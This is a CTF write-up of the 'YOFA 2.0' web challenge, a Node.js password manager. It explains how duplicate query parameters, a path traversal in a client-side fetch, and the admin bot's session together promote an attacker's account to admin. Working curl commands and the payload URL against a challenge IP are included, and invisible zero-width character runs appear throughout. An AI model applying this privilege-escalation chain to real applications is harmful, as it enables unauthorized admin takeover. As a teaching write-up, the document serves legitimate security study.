← Back to Writeups
CUSTOMMediumWeb

YOFA 2.0

XESXOR9/10/20265 min read
#web#custom#medium#admin_bot_csrf_exploitation#client_side_parameter_pollutio#jwt_role_escalation_via_relogi#parseint_array_coercion#relative_path_traversal_in_fet#linux

YOFA 2.0

Platform: bug-makers | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-05-25 | Status: Solved Techniques: admin_bot_csrf_exploitation, client_side_parameter_pollution_via_duplicate_query_params, jwt_role_escalation_via_relogin, parseint_array_coercion, relative_path_traversal_in_fetch

Summary

Task: Node.js/Express password manager with JWT auth, admin bot (Puppeteer), and CSRF protection. Vulnerability is client-side parameter pollution where duplicate query params are parsed differently by server (parseInt on array) vs client (last value from getAll). Solution: craft URL with two id params — first passes server auth, second causes client-side fetch to traverse path to /admin/addAdmin, promoting attacker's user to admin via the bot's session.

YOFA 2.0 — Bug Makers CTF

Description

Как вы отнесетесь к тому, что теперь ваши секреты и пароли будут находиться в надёжном, зашифрованном месте? Прекрасно? Попробуйте наш новый сервис YOFA!

English summary: A password/secrets manager web application called YOFA. The goal is to access the admin-only /admin/flag endpoint. Source code is provided as app_public.zip. This is version 2.0 — the first version had an unintended solution (admin password leaked in config/init-db.js), which was patched here by replacing it with "placeholder". ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Architecture

The application is built with Node.js + Express 5 + EJS templates + PostgreSQL:

  • Authentication: JWT-based, stored in cookies. Critically, httpOnly is NOT set.
  • CSRF protection: Uses @dr.pogodin/csurf with cookie-based tokens, applied globally.
  • Admin bot: A Puppeteer-based bot at /report that accepts a URL, creates an admin JWT, sets it as a cookie on the localhost domain, and visits the URL.
  • Flag: Served at GET /admin/flag, gated by req.user.role !== "admin". ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Vulnerability: Client-Side Parameter Pollution

The profile page at /user/profile?id=X has a critical discrepancy between how the server and client handle the id query parameter.

Server-side (userController.js):

javascript
const userId = parseInt(req.query.id);
if (req.user.id !== userId && req.user.role !== "admin") {
  return res.status(403).json({ error: "Access denied" });
}

When Express receives ?id=437&id=../../admin/addAdmin, req.query.id becomes an array ["437", "../../admin/addAdmin"]. JavaScript's parseInt() on an array first converts it to a string via .toString() → "437,../../admin/addAdmin", then parses the leading digits → 437. So the server sees a valid user ID. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Client-side (profile.ejs):

javascript
const urlParams = new URLSearchParams(window.location.search);
const profileIds = urlParams.getAll("id");
const profileId = profileIds[profileIds.length - 1];

The client-side code uses getAll("id") and takes the last value → "../../admin/addAdmin".

This value is then used directly in a fetch() call:

javascript
fetch("/log/" + profileId, {
  method: "POST",
  headers: { "Content-Type": "application/json" },
  credentials: "include",
  body: JSON.stringify({
    userId: "<%= user.id %>",
    action: "Visited user profile with id=" + profileId,
    _csrf: csrfToken
  })
})

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

When profileId is ../../admin/addAdmin, the fetch URL becomes /log/../../admin/addAdmin, which the browser resolves to /admin/addAdmin. This is a POST request with credentials: "include", so the admin bot's JWT cookie is sent along. The body contains userId (the profile owner's ID, server-rendered via EJS) and a valid CSRF token (also server-rendered).

The addAdmin Endpoint

javascript
// routes/admin.js
router.post("/addAdmin", authMiddleware, userController.addAdmin);

// controllers/userController.js
exports.addAdmin = async (req, res) => {
  const { userId } = req.body;
  if (req.user.role !== "admin") {
    return res.status(403).json({ error: "Access denied" });
  }
  const updatedUser = await User.updateRole(userId, "admin");
  res.json({ message: "Role updated", user: updatedUser });
};

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This endpoint promotes any user to admin — it only checks that the requester is admin, not that the target user should be promoted.

CSRF Token Bypass

The CSRF token is rendered server-side into the page via <input type="hidden" id="csrfToken" value="<%= csrfToken %>">. When the admin bot visits the profile page, the server generates a valid CSRF token for the admin's session. The client-side JS reads this token and includes it in the fetch body as _csrf: csrfToken. Since @dr.pogodin/csurf with cookie-based tokens validates the _csrf body field, the CSRF check passes. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Why the Bot's Cookie Works

The admin bot sets its cookie on domain: "localhost" and the crafted URL points to http://localhost:3000/.... Since the application runs on port 3000 inside the Docker container, the cookie is sent with all requests to localhost:3000, including the path-traversed fetch to /admin/addAdmin.

Solution

Step 1: Register a user account

bash
# Get CSRF token
curl -s -c cookies.txt http://83.222.17.86:3000/csrf-token
# {"csrfToken":"..."}

# Register
curl -s -b cookies.txt -c cookies.txt -X POST http://83.222.17.86:3000/auth/register \
  -H "Content-Type: application/json" \
  -H "CSRF-Token: <csrf_token>" \
  -d '{"username":"testuser123x","password":"testpass123"}'
# {"message":"User registered","user":{"id":437,"username":"testuser123x"}}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Note the returned user ID (437 in this case).

Step 2: Login to get JWT

bash
curl -s -b cookies.txt -c cookies.txt -X POST http://83.222.17.86:3000/auth/login \
  -H "Content-Type: application/json" \
  -H "CSRF-Token: <csrf_token>" \
  -d '{"username":"testuser123x","password":"testpass123"}'
# {"message":"Login successful","id":437}

Step 3: Report the crafted URL to the admin bot

The payload URL exploits client-side parameter pollution:

http://localhost:3000/user/profile?id=437&id=../../admin/addAdmin

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

How each component processes the dual id parameter:

ComponentSees id asResult
Express req.query.id["437", "../../admin/addAdmin"]—
parseInt(req.query.id)parseInt("437,../../admin/addAdmin")437 ✓
Server auth checkreq.user.role === "admin" (bot is admin)Passes ✓
urlParams.getAll("id")["437", "../../admin/addAdmin"]—
profileIds[last]"../../admin/addAdmin"Path traversal payload
fetch("/log/" + profileId)fetch("/log/../../admin/addAdmin")Resolves to /admin/addAdmin
POST body userId"<%= user.id %>" → "437" (EJS-rendered)Our user ID
POST body _csrfAdmin's valid CSRF tokenCSRF bypass ✓
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Submit the report:

bash
curl -s -b cookies.txt -X POST http://83.222.17.86:3000/report \
  -H "Content-Type: application/json" \
  -H "CSRF-Token: <csrf_token>" \
  -d '{"url":"http://localhost:3000/user/profile?id=437&id=../../admin/addAdmin"}'
# Thanks for your report

The admin bot visits the URL → the profile page loads for user 437 → client-side JS fires fetch("/log/../../admin/addAdmin") → browser resolves to POST /admin/addAdmin with body {userId: "437", _csrf: <valid_token>} → user 437 is promoted to admin. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Re-login to get updated JWT

The JWT encodes the role at login time. After the bot promotes our user, we must re-login to get a new token reflecting the admin role:

bash
curl -s -b cookies.txt -c cookies.txt -X POST http://83.222.17.86:3000/auth/login \
  -H "Content-Type: application/json" \
  -H "CSRF-Token: <csrf_token>" \
  -d '{"username":"testuser123x","password":"testpass123"}'

Step 5: Access the flag

bash
curl -s -b cookies.txt http://83.222.17.86:3000/admin/flag

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍